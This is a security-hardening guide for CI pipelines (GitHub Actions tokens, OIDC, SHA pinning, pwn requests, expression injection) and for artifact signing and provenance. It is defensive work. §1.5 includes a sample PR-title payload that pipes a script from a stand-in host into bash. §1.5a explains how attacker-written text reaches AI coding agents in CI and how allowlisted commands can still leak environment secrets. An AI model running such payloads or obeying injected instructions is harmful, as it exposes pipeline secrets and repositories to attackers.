# 01 — Pipeline Security (CI workflows, tokens, triggers, runners)

Scope: GitHub Actions primarily; the same principles map to GitLab CI, CircleCI, Buildkite.
The pipeline is production infrastructure with code-execution-as-a-service attached to your
secrets. Treat workflow files with the same review rigor as auth code.

## 1.1 Least-privilege CI tokens

**Rule: every workflow declares a top-level `permissions:` block; jobs elevate individually.**
The implicit default (`write-all` on older repos, broad even on newer ones) means any
compromised step — a malicious action, an injected script — can push code, rewrite releases,
or poison caches.

```yaml
# GOOD — default deny, elevate per job
permissions:
  contents: read

jobs:
  release:
    permissions:
      contents: write        # create the release — only this job
      id-token: write        # OIDC — only where federation happens
    runs-on: ubuntu-latest
```

```yaml
# BAD — no permissions block at all (inherits repo default),
# or the lazy hammer:
permissions: write-all
```

- Use `permissions: {}` when a workflow needs nothing (e.g., pure lint on checkout via a
  read-only token still needs `contents: read` — `{}` only when no repo access at all).
- `id-token: write` ONLY in jobs that actually federate. It mints identity tokens; an
  attacker with script execution in that job can impersonate the workflow to your cloud.
- Set the org/repo default token policy to read-only (Settings → Actions → Workflow
  permissions) so a missing block fails safe. Audit: a missing top-level block is High if
  the repo default is permissive, Medium if the default is read-only.
- GitLab: use `CI_JOB_TOKEN` scoping (job token allowlist), not group-level PATs in
  variables. Never store a PAT with `repo`/`api` scope as a CI secret when a scoped token
  or GitHub App installation token (`actions/create-github-app-token`) suffices.

## 1.2 OIDC to cloud — no stored cloud keys

**Rule: long-lived cloud credentials (AWS keys, GCP SA JSON, Azure client secrets) must not
exist in CI secrets.** They leak via logs, forks, compromised actions, and they never rotate.
Every major cloud accepts the CI provider's OIDC tokens.

```yaml
# GOOD — AWS via OIDC
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
  with:
    role-to-assume: arn:aws:iam::123456789012:role/repo-myorg-myrepo-deploy
    aws-region: eu-central-1
```

The security lives in the **trust policy condition on the `sub` claim**:

```json
"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:environment:production"
  }
}
```

- BAD: `"sub": "repo:myorg/*"` or `StringLike` with `repo:myorg/myrepo:*` — any branch,
  any fork-merged workflow, any PR environment in that repo can assume the role. Scope to
  `ref:refs/heads/main` or better `environment:production` (environments add reviewer
  gates, §1.7).
- One role per repo × purpose (plan vs apply, push-to-registry vs deploy). A shared
  "ci-role" with union permissions is a Critical finding when it spans prod write.
- Audit greps: `AWS_SECRET_ACCESS_KEY`, `GOOGLE_APPLICATION_CREDENTIALS`, `AZURE_CLIENT_SECRET`
  in workflow `env:`/secrets usage → High (Critical if reachable from fork PRs).

## 1.3 Pin actions by commit SHA

**Rule: third-party actions are pinned to a full 40-char commit SHA with a version comment.**
Tags and branches are mutable; the tj-actions/changed-files compromise (2025) retagged
existing versions to exfiltrate CI secrets from thousands of repos — SHA-pinned consumers
were unaffected. The pattern keeps repeating: in March 2026 an attacker force-pushed 75
existing tags of aquasecurity/trivy-action to malicious commits (downstream, this
compromised Checkmarx's release pipeline), and in May 2026 every tag of
actions-cool/issues-helper was repointed to an imposter credential-stealing commit.
Tag-pinned consumers ran the malware on their next scheduled job; SHA-pinned consumers
did not.

```yaml
# GOOD — resolve the CURRENT release's commit SHA and pin that, tag in comment
# (gh api repos/actions/checkout/git/ref/tags/<tag> --jq .object.sha)
- uses: actions/checkout@<full-40-char-commit-sha>  # vN.N.N
# BAD
- uses: someorg/some-action@v3        # mutable tag
- uses: someorg/some-action@main      # tracking a branch — worse
```

- Pin transitively-trusted actions too (composite actions you own should pin their deps).
- **A SHA pin is necessary but not sufficient — verify the SHA is a real commit in
  the action's own repo.** GitHub stores a repo and its forks as one commit
  "network", so a commit that exists only in an attacker's fork can be referenced by
  the upstream `owner/repo@sha` slug (an "impostor commit"; the `github/dmca@565ece4`
  case is the classic example). Run zizmor's `impostor-commit` audit (an online check
  — needs a GitHub API token) in CI, and review external PRs that add/bump a pinned
  SHA by confirming the commit on the claimant repo.
- Keep pins fresh with Renovate (`helpers:pinGitHubActionDigests` preset) or Dependabot —
  a stale pin is a vuln-management problem, an unpinned action is a supply chain hole.
- `actions/*` (GitHub first-party) at a tag is tolerable (Low) but pin anyway for
  consistency; everything else unpinned is High.
- Enforce org-wide: Settings → Actions → "Allow specified actions" with an allowlist, or
  policy `allowed_actions` requiring pinned SHAs (e.g., via `actions-permissions` audits,
  zizmor, or OpenSSF Scorecard's Pinned-Dependencies check in CI). Action allowlisting is
  available on all GitHub plans including Free since Feb 2026 — "we're on the free tier"
  is no longer a reason to skip it.
- Platform fixes are coming but are not here yet: GitHub's 2026 Actions security roadmap
  (workflow dependency locking — a lockfile for `uses:` references — plus execution
  policies, scoped secrets, and a runner egress firewall) was preview/announced as of
  mid-2026. Until those are GA and adopted, SHA pinning remains the control; don't accept
  "immutable actions will fix it" in review.

## 1.4 Untrusted PR code: `pull_request_target`, `workflow_run`, `issue_comment`

**Rule: workflows triggered by privileged events must never execute attacker-controlled
content.** This is the #1 CI compromise class ("pwn request").

- `pull_request` from a fork: runs with read-only token, **no secrets** — safe by default.
  Keep it that way: do not enable "send secrets to fork PRs".
- `pull_request_target`: runs in the **base** repo context **with secrets and a write
  token**, on the PR event. Safe only if it never checks out or executes PR head content.

```yaml
# CRITICAL vulnerability — classic pwn request
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@...
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # attacker's code
      - run: npm ci && npm test                            # executes it with secrets present
```

Attacker path: open a PR whose `package.json` has a malicious `preinstall` script (or
modified test) → exfiltrate `secrets.*` and the write-scoped `GITHUB_TOKEN` → push to main.

Safe patterns, in order of preference:
1. Don't use `pull_request_target` at all. Labeling/commenting bots can use a separate
   workflow that only reads `github.event` metadata — no checkout.
2. Two-workflow split: untrusted `pull_request` workflow builds/tests with zero secrets and
   uploads results as an artifact; a `workflow_run` workflow with secrets downloads the
   artifact and **treats it as hostile input** (validate schema, never execute, never pass
   to a shell or `eval`-ish sink).
3. If you must check out the PR in a privileged context (rare; e.g., trusted-path docs
   preview), check out ONLY specific paths, require a maintainer-applied label
   (`if: contains(github.event.pull_request.labels.*.name, 'safe-to-test')`) that is
   re-applied per push, and run with minimal permissions and no cloud OIDC.

Same logic applies to `issue_comment`-triggered "/test" bots: the comment author may not
be the PR author; verify `author_association` is `MEMBER`/`OWNER` AND resolve the exact SHA
that was reviewed, not the branch head (TOCTOU: attacker pushes after approval comment).

## 1.5 Script injection in workflow expressions

**Rule: never interpolate attacker-influenced `${{ }}` expressions into `run:`, `script:`
(github-script), or action inputs that reach a shell.** Expression expansion happens
*before* the shell sees the text — quoting inside the script does not help.

Attacker-controlled contexts include: `github.event.pull_request.title|body`,
`github.event.issue.title|body`, `github.event.comment.body`, `github.head_ref` (branch
name!), `github.event.pull_request.head.ref`, commit messages
(`github.event.head_commit.message`), author names/emails, `github.event.review.body`.

```yaml
# BAD — title of `a"; curl evil.sh | bash; echo "` executes
- run: echo "PR title: ${{ github.event.pull_request.title }}"

# GOOD — env indirection; the value is data, not script text
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $PR_TITLE"
```

**The indirection is a *shell* defence — name the sink before calling it fixed.** Moving the
value into `env:` stops the expression being expanded into *script text*, which is the whole
threat when the sink is a shell. It does nothing about **reachability**: the value still
arrives, and a sink that consumes it as *instructions* rather than as a shell word is exactly
as exposed as before. An AI-agent prompt (§1.5a), a template engine, an `eval`, an LLM
tool-call argument, a config parser that honours directives — all such sinks. Worse, the
dangerous line now contains no `${{ }}`, so the YAML reads clean and the linters below have
nothing to flag. Say which sink the defence neutralises; where the sink *interprets* the
value, the fix is not to route attacker-controlled text into it at all.

- In `actions/github-script`, same rule: pass via `env` and read `process.env`, or use
  the provided `context` object — never template untrusted strings into the JS body.
- `github.head_ref` in cache keys, artifact names, or `docker tag` arguments also needs
  sanitization (branch names allow `/`, `$`, quotes).
- Lint for this: `zizmor` and `actionlint` both flag expression injection — run them in CI
  over `.github/workflows/`.
- Severity: injection reachable from a fork PR/issue into a secrets-bearing job = Critical;
  into a no-secret read-only job = Medium (still grants runner exec + token).

### 1.5a AI coding agents are CI actors holding your token

A step that invokes a coding agent (Claude Code Action, Gemini CLI, Codex, an inference
action) takes **instructions** from whatever text it is handed and then acts with the job's
token, network and filesystem. Audit it as a trust boundary, not as a build step. Nothing
else in this file covers it, and the ordinary Actions checks do not: the dangerous
configuration is usually valid YAML with no expression in it.

- **Enumerate the triggers a non-collaborator can fire**, not the ones you had in mind:
  `pull_request_target`, `issue_comment`, `issues`, `discussion_comment`, `workflow_run`.
  "It only runs for maintainers" describes intent, not the trigger — opening an issue is not
  a permission.
- **Follow the value, not the syntax.** The common miss is the `env:` intermediary above: no
  `${{ }}` appears anywhere near the prompt and the agent still receives attacker text. Trace
  every input the agent can read — prompt fields, files it is pointed at, the diff itself —
  back to whether an outsider can write it.
- **A tool allowlist shrinks the surface; it does not close it.** Any member that can run a
  command can substitute one (`echo "$(env)"` exfiltrates), and any member that writes a file
  a later step executes escalates. Judge an allowlist by what its members *compose* into, not
  by their names.
- **Read the sandbox and approval flags as the security control they are.** Anything shaped
  like "full access", `Bash(*)`, or an auto-approve/`--yolo` switch removes the boundary the
  rest of the review assumes is there. A wildcard in a user allowlist does the same.
- **Follow `uses:` into composite actions and reusable workflows.** An agent invoked two
  levels down is invisible in the caller's YAML, and it is the caller's token it spends.
- Severity: attacker-controlled text reaching an agent in a job that holds secrets or write
  permissions = **Critical**; in a read-only, no-secret job = **Medium** (it still buys
  runner execution and the default token). The instruction trust boundary itself is
  `sota-skill-security` rules/02; prompt-injection mechanics are `sota-code-security`
  rules/08.

## 1.6 Runner trust

- **Never attach self-hosted runners to public repos** where fork PRs can schedule jobs:
  that is remote code execution on your infrastructure by anonymous users. GitHub-hosted
  only for public-repo PR workflows. (High→Critical depending on runner network position.)
- Self-hosted runners must be **ephemeral** (one job, then destroyed — `--ephemeral`,
  actions-runner-controller with ephemeral pods). Persistent runners accumulate
  credentials, poisoned caches, and cross-job contamination.
- Isolate runner network egress (no metadata-service access unless needed, egress
  allowlists where feasible — exfiltration via `curl` is the standard post-exploit step;
  tools like Harden-Runner provide egress auditing/blocking on hosted runners).
- Cache poisoning: `actions/cache` is scoped, but a cache written by a default-branch
  workflow is trusted by all branches. Never cache across trust boundaries (e.g., don't
  restore caches written by PR workflows into release builds; scope keys by ref where the
  content influences build output). **For release/publish/signing workflows, disable
  build caching outright** — a single poisoned cache entry restored into a job that signs
  or publishes taints the released artifact; the speedup isn't worth the supply-chain risk.

## 1.7 Protected branches, environments, signed commits

- Default branch protection (or rulesets, preferred — they apply to admins by default):
  require PRs, ≥1 review (2 for prod-deploying repos), **dismiss stale approvals on new
  push**, require status checks listed by exact name, block force-push and deletion,
  require linear history if your audit story depends on it. "Include administrators" must
  be on; an admin-bypassable gate is not a gate (High).
- **Environments** for anything that deploys: `environment: production` with required
  reviewers, wait timers if useful, and **deployment branch policy** restricted to
  `main`/release tags. Secrets needed only for deploy live in the environment, not at repo
  level — this is what makes the OIDC `sub` claim `environment:production` meaningful.
- **Signed commits/tags**: enable "require signed commits" via ruleset on protected
  branches when the team has signing set up (SSH signing keys or Sigstore `gitsign`).
  Enable vigilant mode so unsigned/unverified shows explicitly. Don't claim integrity from
  the green "Verified" badge alone — web-UI commits are signed by GitHub's key; decide
  whether that satisfies your threat model and document it.
- **Tag protection**: protect release tag patterns (`v*`) via rulesets — release pipelines
  trust tags; anyone who can create `v1.2.4` can ship code (see rules/02 §release integrity).

## 1.8 Workflow file ownership and change control

- CODEOWNERS entry for `/.github/workflows/` (and composite actions, reusable workflows)
  routing to the platform/security team. A workflow change IS a deployment-credential
  change. The May 2026 "Megalodon" campaign pushed secret-stealing workflow commits to
  5,500+ repos in a six-hour window — direct-push rights to workflow files plus no
  workflow-modification alerting (rules/07 §7.3.1) is exactly what it exploited.
- Reusable workflows (`workflow_call`) centralize hardened patterns: callers can't weaken
  pinned steps inside them. Pin the reusable workflow reference by SHA too
  (`uses: org/ci/.github/workflows/build.yml@<sha>`).
- Forbid `workflow_dispatch` inputs flowing into shells unsanitized (same as §1.5) and
  audit who has Actions write (can dispatch with arbitrary inputs).
- Disable Actions entirely on repos that don't need it (org policy: "Allow select repos").

## 1.9 Concurrency, caches, and run integrity

- `concurrency:` groups on deploy workflows (`group: deploy-prod, cancel-in-progress:
  false`) — two concurrent applies/deploys interleaving is a corruption class, and
  cancel-in-progress on a deploy can kill a half-finished migration. Cancel-in-progress
  *is* right for PR validation (saves runners, no integrity stake).
- Re-run semantics: re-running an old workflow run re-executes old workflow code with
  *current* secrets — relevant after rotating a compromised workflow; revoke environments
  or disable old runs rather than assuming history is inert.
- Lint the workflow estate continuously: `zizmor` (injection, pwn-requests, unpinned,
  excessive permissions, `impostor-commit`) and `actionlint` as a required check on
  `.github/workflows/**` changes — the linters encode most of §§1.1–1.5 and catch
  regressions humans rubber-stamp. Add **CodeQL's `actions` language** (GA April 2025;
  auto-enabled in code-scanning *default setup* when workflow files are present, or add
  `actions` to the language matrix in advanced setup) — it does taint/data-flow analysis
  on workflows that the YAML linters can't.

## 1.10 Secrets hygiene in CI

- Secrets are masked in logs by value-match only: derived values (base64 of a secret, a
  URL embedding it) print in cleartext. Register any value you compute from a secret with
  `echo "::add-mask::$VALUE"` before it can be printed. Never log request bodies/headers
  in CI; set `ACTIONS_STEP_DEBUG` consciously.
- **Never `secrets: inherit` when calling a reusable workflow** — it hands the called
  workflow *every* secret in scope. Pass each secret explicitly with `secrets:`
  (least privilege), and pin the reusable workflow by SHA (§1.8).
- Scope: org secret < repo secret < environment secret. Push every prod credential down to
  an environment with required reviewers.
- No secrets in `if:` conditions or step outputs (outputs are visible to later steps of
  other jobs via needs-context and stored in logs metadata).
- Rotate on any workflow-compromise suspicion; assume any secret present in a job's env at
  the time of a malicious step is gone.
- Prefer fetching at use-time from a secrets manager via OIDC (Vault JWT auth, AWS Secrets
  Manager) over storing in GitHub at all — central audit + rotation.

## 1.10a Bot PRs get no repository secrets — and a gate that needs one will fail

Dependabot and Renovate open PRs on **same-repo branches**, so any workflow condition
written as *"this is a trusted run"* — `github.event.pull_request.head.repo.full_name ==
github.repository` — is **true** for them. But their token is denied **repository**
secrets. A gate whose scanner depends on a secret therefore either fails on every bot PR,
or, if the gate degrades quietly, **passes while scanning less than it claims**.

Both outcomes are bad, and the second is worse. A required check that is permanently red
trains people to bypass it; a check that silently drops to a reduced ruleset reports the
same green either way (`sota-code-security` rules/10).

Ordered by preference:

1. **Give the bot its own copy.** GitHub keeps a **separate Dependabot secret store** —
   populating the repository secret does not populate it. Verify by listing both; an empty
   bot store is the usual root cause.
2. **Make degradation loud where it matters.** If the scanner can run reduced, assert the
   secret's presence on trusted runs and fail with a message naming what would be skipped
   — an absent input must not look like a clean scan.
3. **Do not special-case the bot.** `if: github.actor != 'dependabot[bot]'` turns a red
   check green while removing the control precisely on the PRs that change your dependency
   graph. It is the shape rules/10 exists to catch, dressed as a CI fix.

**Value shape bites too.** A secret is one opaque string; the file it mirrors may not be.
Copy the form the consumer *reads* (e.g. a pipe-joined regex), not the file's on-disk
layout, or the secret is present and inert.

**What the bot maintains, it maintains narrowly.** Dependabot rewrites the trailing
`# vX.Y.Z` beside a SHA pin (§1.3) and nothing else — a version named in a nearby prose
comment goes stale the moment a bump lands. Keep one source of truth per fact.

## 1.11 Prove the pipeline runs — before you trust anything it reports

Every section above hardens a pipeline. None of them establishes that it has ever
executed. A workflow that has never run is not "probably fine": it is untested code
that gates your merges, and it fails in ways review does not catch — a workflow-wide
env var the first step rejects, a tool that is not on the runner, a path that only
exists in the author's tree.

- **Run the jobs locally against a fresh clone of committed state**, not the working
  tree. The working tree hides dependence on untracked files, and that dependence is
  the most common reason a green local run turns red on a runner.
- **Treat missing tooling as a hard failure, not a skip.** A local harness that skips
  the step it cannot run reports success for work it never did — `sota-code-security` rules/14 §4 in
  your own scaffolding. Print what was substituted (a marketplace action replaced by
  its CLI equivalent) rather than hiding it, so the run's coverage is legible.
- **Do this even when CI works.** It is the only way to prove a workflow before its
  first push, and it turns a 10-minute push/wait/fix loop into seconds.
- Off-the-shelf local runners for GitHub Actions exist; evaluate one against your
  workflow before adopting it, and do not assume action-for-action fidelity.

Then check the run history itself, per `sota-code-security` rules/14 §4: a job that
was **skipped** reports Success, and a run the platform **refused** (billing, spending
limits) reports failure within seconds with no step logs and its reason only in the
annotations. Both look like "CI exists" from the badge.

## 1.11a Copying a step between sibling pipelines rebinds it to names the destination may not declare

§1.11 establishes that a pipeline has *ever* executed. This is the case where **N sibling
pipelines** exist, one is edited by copying a block from another, and the copied block
references a name only the *source* declares.

**Late-bound references are resolved by the orchestrator, not by the parser.** `${{ }}` /
`{{ }}` expressions, template outputs, job and step IDs, matrix keys, secret and variable
names — all bind at submission or run time. So a copied block passes YAML validation,
schema validation, lint and pre-commit while being **unrunnable**, and near-identical
pipelines are exactly where the same concept is most likely to carry a different name.

Field-reported: three sibling build templates. Two expose a `check-changes` output named
`should-build`; the third names the same concept `has-changes`. A task copied from the
first into the third carried `should-build`. YAML parsed, the schema validated, kustomize
built, yamllint passed, the pre-commit hook passed. It resolved only at submission, where
the orchestrator rejected the **entire** spec:

```
invalid spec: templates.build-pipeline.tasks.promote failed to resolve
{{tasks.check-changes.outputs.parameters.should-build}}
```

It would have failed **every** build of that service, and was caught only because each of
the three was given its own forced verification run instead of one shared *"the pattern is
identical"* assumption.

**After copying a block between pipelines, diff the identifiers it references against what
the destination actually declares.** The mechanical check is cheap: for every conditional
and every interpolated output, assert the referenced name appears in the producing step's
declared outputs *in that file*.

**Then execute each target once.** N pipelines edited from one template is N things to
prove, not one — *"same pattern, therefore same result"* is precisely the assumption
identifier drift defeats. For a scheduled pipeline the first real execution may be hours
away and unattended, which is also why a gate step copied across services must carry its
durable verdict everywhere (`rules/11` §4), not just where it was first fixed.

## Audit checklist

- [ ] **Does any workflow hand attacker-writable text to an AI coding agent (§1.5a)?** Trace
      the value, not the syntax — an `env:` intermediary leaves no `${{ }}` near the prompt
      and the agent still receives it. Check the triggers a non-collaborator can fire, the
      sandbox/approval flags, wildcards in user allowlists, and agents invoked through
      `uses:` two levels down. The `env:` fix in §1.5 is a *shell* defence and does not apply
      to a sink that interprets the value.
- [ ] **Does every late-bound reference resolve against a name that pipeline itself
      declares?** `${{ }}`/`{{ }}` expressions, template outputs, step IDs, matrix keys — they bind
      at submission, so lint and schema validation pass on an unrunnable spec. After copying a step
      between sibling pipelines, **each destination has been executed once**, not just the source
      (§1.11a).

- [ ] **Bot PRs are green for the right reason.** Open the newest Dependabot/Renovate PR:
      does every required check pass, and does the secret-dependent one actually have its
      secret? `gh secret list` and `gh secret list --app dependabot` are different stores —
      an empty bot store with a populated repository store is the tell. A gate exempted for
      `dependabot[bot]` is a finding, not a fix (High).
- [ ] **No workflow condition treats "same-repo branch" as "has secrets."** Bot branches
      satisfy `head.repo.full_name == github.repository` and still receive nothing.

- [ ] **Has this pipeline ever executed?** Count non-skipped, non-refused runs. A
      skipped job reports Success and a platform-refused run fails in seconds with no
      step logs — neither is evidence the workflow works. If it has never run green,
      execute the jobs locally against a fresh clone before trusting any gate it claims.
- [ ] Every workflow has a top-level `permissions:` block; no `write-all`; `id-token: write` only in federating jobs
- [ ] No long-lived cloud keys in secrets; OIDC trust policies pin `aud` and an exact `sub` (repo + ref/environment, no wildcards)
- [ ] All third-party actions pinned to full commit SHAs with version comments; pins maintained by Renovate/Dependabot; org actions-allowlist enabled
- [ ] No `pull_request_target`/`workflow_run` job checks out or executes PR head content while secrets/write token are present; label gates (if any) re-applied per push and SHA-pinned at approval
- [ ] No untrusted context (`title`, `body`, `head_ref`, commit message, comment) interpolated into `run:`/`github-script`/shell-reaching inputs — all via `env:`; zizmor/actionlint run in CI
- [ ] Self-hosted runners: none on public repos; ephemeral; egress monitored; caches not shared across trust boundaries
- [ ] Default branch ruleset: PR + review required, stale-approval dismissal, exact required checks, no force-push, applies to admins; release tags protected
- [ ] Deploy jobs use `environment:` with required reviewers and branch policy; prod secrets live at environment scope
- [ ] CODEOWNERS covers `.github/workflows/`; reusable workflows pinned by SHA
- [ ] No secrets echoed, embedded in URLs, or passed through step outputs; rotation path documented

# 02 — Artifact Provenance & Signing (SLSA, in-toto, Sigstore)

Scope: proving that the artifact you deploy is the artifact your reviewed source and
trusted builder produced — and rejecting everything else. Signing without verification is
theater; design the verifier first.

## 2.1 SLSA levels — what to target and why

SLSA v1.2 (approved Nov 2025; Build-track levels unchanged since v1.0), practical reading:

| Level | Requirement | What it actually defends against |
|---|---|---|
| L1 | Provenance exists (who/what/how built) | Honest-mistake mix-ups; basis for audit |
| L2 | Provenance signed by a hosted build platform | Forged provenance from a laptop build |
| L3 | Build runs on hardened platform; provenance generation isolated from the build steps (user-defined steps can't forge or read the signing material) | Compromised build *job* forging its own provenance |

- **Target: L3 for anything you ship**, L2 minimum for internal artifacts. L3 is cheap now:
  `slsa-github-generator` reusable workflows or GitHub-hosted artifact attestations both
  qualify because signing happens outside the user-controlled job steps.
- L4-style aspirations (two-person review, hermetic builds) live in branch protection
  (rules/01 §1.7) and hermeticity (rules/04 §4.1) — don't wait for a badge to do them.
  v1.2 also promotes the **Source track** to approved status (SOURCE_LEVEL_1–3: history
  retention, continuous branch-protection enforcement, source VSAs) — it formalizes what
  rules/01 §1.7 already requires; cite it when an org wants a named target.
- **Valid provenance attests build origin, not code safety.** The Mini Shai-Hulud worm
  wave (2026, CVE-2026-45321) published 84 malicious versions across 42 npm packages in
  under six minutes — all carrying *valid* SLSA Build L3 attestations, because a
  `pull_request_target` + cache-poisoning chain ran attacker code in the trusted release
  workflow and lifted its OIDC token from runner process memory. Provenance verification
  only holds when layered on the controls it assumes (rules/01 §1.4 no
  `pull_request_target` with secrets, §1.6 cache isolation in release workflows) and the
  rules/03 §3.7 cooldown — never treat it as a malware gate.
- Audit framing: "no provenance" on deployed artifacts is Medium alone, High when combined
  with mutable tags or shared registry push creds (because then nothing distinguishes a
  legit artifact from an injected one).

## 2.2 Generating provenance in GitHub Actions

Preferred (simplest, L3-grade): GitHub artifact attestations.

```yaml
permissions:
  id-token: write       # sign via Sigstore (Fulcio cert from workflow OIDC identity)
  attestations: write
  contents: read
steps:
  - name: Build image
    id: build
    run: |
      docker build -t "$IMAGE" .
      DIGEST=$(docker push "$IMAGE" --quiet)   # capture pushed digest
  - uses: actions/attest-build-provenance@<sha> # pin!
    with:
      subject-name: ghcr.io/myorg/app
      subject-digest: ${{ steps.build.outputs.digest }}
      push-to-registry: true
```

Alternative for non-container artifacts / stricter isolation: `slsa-framework/slsa-github-generator`
reusable workflows (`generator_generic_slsa3.yml`, `generator_container_slsa3.yml`) — the
provenance is produced in a separate, generator-controlled job your build steps cannot touch.

Rules:
- **Attest the digest, never a tag.** Provenance over a tag is provenance over a pointer.
- Provenance must be generated by the platform/trusted workflow, not by a `run:` step
  calling cosign with secrets in the same job as the build (a compromised build step could
  sign anything — that caps you at L2 and arguably below).
- Store attestations alongside the artifact (registry OCI referrers / attestation store)
  so verifiers don't need a side channel.

## 2.3 Sigstore / cosign signing

Keyless (preferred): identity-based certificates from Fulcio bound to the workflow's OIDC
identity, transparency-logged in Rekor. No keys to store, rotate, or leak.

```yaml
# GOOD — keyless sign by digest in CI
- run: cosign sign --yes "ghcr.io/myorg/app@${DIGEST}"
```

Verification is where the security is — and where most setups are broken:

```bash
# GOOD — verify WHO signed: exact workflow identity + issuer
cosign verify \
  --certificate-identity "https://github.com/myorg/app/.github/workflows/release.yml@refs/heads/main" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  ghcr.io/myorg/app@${DIGEST}

# BAD — wildcard identity; any repo in the org (or worse, any GitHub workflow) passes
cosign verify --certificate-identity-regexp '.*' ...
```

- BAD: `cosign sign ghcr.io/myorg/app:v1.2.3` (signing a tag — cosign resolves it, but
  your scripts and humans then reason about the tag; always pass/record digests).
- Key-based cosign only when keyless is impossible (air-gapped): keys in KMS
  (`cosign sign --key awskms://...`), never a PEM in CI secrets (High).
- For GitHub attestations, verify with
  `gh attestation verify oci://ghcr.io/myorg/app@sha256:... --owner myorg
  --signer-workflow myorg/app/.github/workflows/release.yml` — same principle: pin the
  signer identity, not just the owner, where feasible.
- Private Sigstore (self-hosted Fulcio/Rekor or BYO TUF root) for orgs that can't rely on
  the public good instance; don't disable transparency logging casually — Rekor is your
  tamper-evidence.
- **Cosign v3** (Oct 2025) made the standardized Sigstore bundle format, `--trusted-root`
  verification, and signing-config defaults; legacy flags are deprecated and slated for
  removal in v4. Pin the cosign version in CI (rules/04 §4.1) and re-test the *verify*
  side when bumping it — a cosign major upgrade can change what your verifiers accept.

### 2.3.1 What an attestation actually is (for debugging and policy-writing)

A signed attestation is a **DSSE envelope** (`payloadType:
application/vnd.in-toto+json`, base64 payload, signatures array) wrapping an in-toto
**Statement**: `_type`, `subject` (name + digest map — this is what binds it to the
artifact), `predicateType` URI, and the `predicate` body. When a verification fails,
decode and look:

```bash
# Inspect a GitHub/cosign attestation attached to an image
cosign download attestation ghcr.io/myorg/app@${DIGEST} \
  | jq -r '.payload' | base64 -d | jq '{subject: ._type, pt: .predicateType, s: .subject}'
```

Common failure causes, in observed order: subject digest mismatch (you attested the
local build, pushed a different manifest — multi-arch index vs platform manifest digests
are the classic), wrong predicateType URI in policy (v0.2 vs v1 SLSA provenance), and
identity mismatch because the workflow was reorganized (renamed file = new certificate
identity — update verifiers when you rename release workflows, and treat that as a
reviewed change).

For non-container artifacts (binaries, tarballs, wheels): `cosign sign-blob` /
`cosign attest-blob` with the bundle output stored next to the artifact, or GitHub
attestations with `subject-path:`; verification then takes the file + bundle, same
identity-pinning rules.

## 2.4 in-toto attestations beyond provenance

Provenance is one predicate. Attach the others your policy will consume:

- **SBOM attestation** (`cosign attest --type cyclonedx --predicate sbom.cdx.json
  ghcr.io/...@digest`) — binds the SBOM to the exact artifact (rules/03 §3.5).
- **Vulnerability scan attestation** — scan result at build time, with scanner + DB
  version, so admission can require "scanned within N days".
- **Test/verification attestations** for regulated pipelines.

Rules: one predicate per attestation; subject = artifact digest; verify predicates in
policy (Kyverno `verifyImages.attestations`, OPA against decoded DSSE envelopes — rules/07
§7.1). An attestation nobody checks is Medium audit noise; say so honestly.

## 2.5 Verification at deploy time — closing the loop

**Rule: every signature/attestation produced in CI has exactly one named consumer, and
that consumer fails closed.** Wire at least one of:

1. **Admission control** (best): Kyverno `verifyImages` / Sigstore policy-controller
   `ClusterImagePolicy` requiring signature by your release workflow identity + SLSA
   provenance predicate, on all prod namespaces (details in rules/07).
2. **CD-time verify**: `cosign verify` / `gh attestation verify` as a blocking step before
   `kubectl apply` / Argo sync — weaker (bypassable by direct cluster access) but cheap.
3. **Promotion-time verify**: verifying digest + provenance when copying from staging
   registry to prod registry; prod registry then only ever contains verified artifacts.

Audit: signing present but zero verifiers = Medium ("decorative signing"); verifier with
wildcard identity = High (verifies "signed by anyone via GitHub").

### 2.5.1 Verification tooling map

| Producer | Verifier | Pin in verification |
|---|---|---|
| slsa-github-generator | `slsa-verifier verify-image --source-uri github.com/myorg/app --source-tag v1.2.3` | source repo + tag/branch; builder ID checked for you |
| GitHub artifact attestations | `gh attestation verify --owner myorg --signer-workflow myorg/app/.github/workflows/release.yml` | owner AND signer workflow (owner alone admits every repo in the org) |
| cosign keyless | `cosign verify --certificate-identity <exact> --certificate-oidc-issuer <exact>` | full identity URL incl. ref |
| Kyverno admission | `verifyImages.attestors.keyless` + `attestations` | subject + issuer + predicateType (rules/07 §7.1) |
| npm provenance | `npm audit signatures` | registry-attested build provenance for installed packages |

Whichever pair you choose, write the verification command into the repo (Make target,
CD step) — verification knowledge that lives in one engineer's shell history fails the
incident test.

## 2.6 Package registry publishing — trusted publishers

Long-lived registry tokens in CI are the npm/PyPI compromise vector. Replace them:

- **PyPI Trusted Publishers**: register the exact repo + workflow + environment on PyPI;
  publish with `pypa/gh-action-pypi-publish` using OIDC, zero stored token. Bind to a
  GitHub environment with required reviewers for releases.
- **npm**: use OIDC trusted publishing (GA since July 2025; provenance attestations are
  published by default with it). The registry forced this direction: legacy classic
  tokens are gone (creation disabled Nov 2025, remaining tokens permanently revoked
  Dec 2025), `npm login` now issues 2-hour session tokens, write-enabled granular
  tokens are capped at 90 days (Oct 2025), and TOTP 2FA is being phased out in favor of
  WebAuthn/passkeys — any long-lived `NPM_TOKEN` you find is already dead or about to
  expire silently and break the release pipeline. The provenance badge lets consumers
  verify the package was built from the public repo by the stated workflow — build
  origin, not code safety (§2.1).
- **Rules for both**: publish only from a tag-triggered, environment-gated workflow on the
  protected release workflow file; never from `workflow_dispatch` on arbitrary refs.
- Audit: `NPM_TOKEN`/`PYPI_API_TOKEN`(account-scoped) in secrets = High (and for npm, a
  reliability bug too — see 90-day cap above); scoped token without 2FA-enforced org =
  High; trusted publisher bound to a reusable/unprotected workflow = Medium.

## 2.7 Release & tag integrity

- Protect release tag patterns (`v*`) with rulesets: restrict creation to the release team
  or release automation. Release pipelines trigger on tags — tag creation is code-ship
  authority.
- **Immutable releases**: never re-publish an existing version with different bytes (no
  re-tagging, no overwriting GitHub release assets). If 1.2.3 is broken, ship 1.2.4.
  Mutated releases break every downstream hash pin and are indistinguishable from
  compromise. GitHub now enforces this natively — **immutable releases** (GA Oct 2025)
  freeze assets and protect the tag after publication and attach signed attestations;
  turn the setting on repo/org-wide for anything that ships. A repo distributing
  software without it post-GA is a Medium finding.
